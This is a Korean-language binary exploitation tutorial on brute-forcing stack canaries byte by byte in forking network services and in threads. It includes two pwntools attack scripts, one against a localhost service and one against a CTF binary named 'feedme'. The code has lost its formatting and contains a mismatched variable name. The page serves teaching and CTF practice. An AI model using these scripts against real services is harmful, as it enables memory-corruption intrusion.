당신이 카나리와 PIE(위치 독립 실행 파일)로 보호된 바이너리에 직면하고 있다면, 이를 우회할 방법을 찾아야 할 것입니다.
**checksec**는 바이너리가 카나리로 보호되고 있다는 것을 찾지 못할 수 있습니다. 만약 이것이 정적으로 컴파일되었고 함수를 식별할 수 없다면 말입니다.
그러나 함수 호출의 시작 부분에서 스택에 값이 저장되고 이 값이 종료 전에 확인되는 것을 발견하면 수동으로 이를 알 수 있습니다.
Brute force Canary
간단한 카나리를 우회하는 가장 좋은 방법은 바이너리가 새로운 연결을 설정할 때마다 자식 프로세스를 포크하는 프로그램인 경우입니다(네트워크 서비스). 왜냐하면 연결할 때마다 같은 카나리가 사용되기 때문입니다.
따라서 카나리를 우회하는 가장 좋은 방법은 문자별로 무차별 대입하는 것이며, 추측한 카나리 바이트가 올바른지 확인하기 위해 프로그램이 충돌했는지 아니면 정상 흐름을 계속하는지를 확인할 수 있습니다. 이 예제에서 함수는 8바이트 카나리(x64)를 무차별 대입하고 올바르게 추측한 바이트와 잘못된 바이트를 응답이 서버에 의해 반환되는지를 확인하여 구별합니다(다른 상황에서는 try/except를 사용할 수 있습니다):
Example 1
이 예제는 64비트로 구현되었지만 32비트로 쉽게 구현될 수 있습니다.
from pwn import*defconnect():r =remote("localhost", 8788)defget_bf(base):canary =""guess =0x0base += canarywhilelen(canary)<8:while guess !=0xff:r =connect()r.recvuntil("Username: ")r.send(base +chr(guess))if"SOME OUTPUT"in r.clean():print"Guessed correct byte:",format(guess, '02x')canary +=chr(guess)base +=chr(guess)guess =0x0r.close()breakelse:guess +=1r.close()print"FOUND:\\x"+'\\x'.join("{:02x}".format(ord(c)) for c in canary)return basecanary_offset =1176base ="A"* canary_offsetprint("Brute-Forcing canary")base_canary =get_bf(base)#Get yunk data + canaryCANARY =u64(base_can[len(base_canary)-8:])#Get the canary
Example 2
이것은 32비트에 대해 구현되었지만, 쉽게 64비트로 변경할 수 있습니다.
또한 이 예제에서는 프로그램이 입력의 크기를 나타내는 바이트와 페이로드를 먼저 기대합니다.
from pwn import*# Here is the function to brute force the canarydefbreakCanary():known_canary =b""test_canary =0x0len_bytes_to_read =0x21for j inrange(0, 4):# Iterate up to 0xff times to brute force all posible values for bytefor test_canary inrange(0xff):print(f"\rTrying canary: {known_canary}{test_canary.to_bytes(1, 'little')}", end="")# Send the current input sizetarget.send(len_bytes_to_read.to_bytes(1, "little"))# Send this iterations canarytarget.send(b"0"*0x20+ known_canary + test_canary.to_bytes(1, "little"))# Scan in the output, determine if we have a correct valueoutput = target.recvuntil(b"exit.")ifb"YUM"in output:# If we have a correct value, record the canary value, reset the canary value, and move onprint(" - next byte is: "+hex(test_canary))known_canary = known_canary + test_canary.to_bytes(1, "little")len_bytes_to_read +=1break# Return the canaryreturn known_canary# Start the target processtarget =process('./feedme')#gdb.attach(target)# Brute force the canarycanary =breakCanary()log.info(f"The canary is: {canary}")
Threads
같은 프로세스의 스레드는 같은 카나리 토큰을 공유하므로, 이진 파일이 공격이 발생할 때마다 새로운 스레드를 생성하면 카나리를 무차별 대입할 수 있습니다.